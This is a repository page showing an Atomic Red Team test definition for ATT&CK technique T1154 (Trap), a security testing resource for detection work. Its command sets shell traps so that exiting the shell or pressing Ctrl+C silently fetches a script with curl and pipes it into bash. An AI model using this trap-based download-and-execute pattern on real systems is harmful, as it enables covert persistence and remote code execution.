Files
atomic-red-team/atomics/T1154/T1154.yaml
T
Michael Haag c5d664d5f0 Linux Execution and Exfiltration
DONE for YAM
2018-05-25 14:08:12 -04:00

24 lines
655 B
YAML

---
attack_technique: T1154
display_name: Trap
atomic_tests:
- name: Trap
description: |
After exiting the shell, the script will download and execute.
After sending a keyboard interrupt (CTRL+C) the script will download and execute.
supported_platforms:
- macos
- centos
- ubuntu
- linux
executor:
name: sh
command: |
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' EXIT
exit
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' INT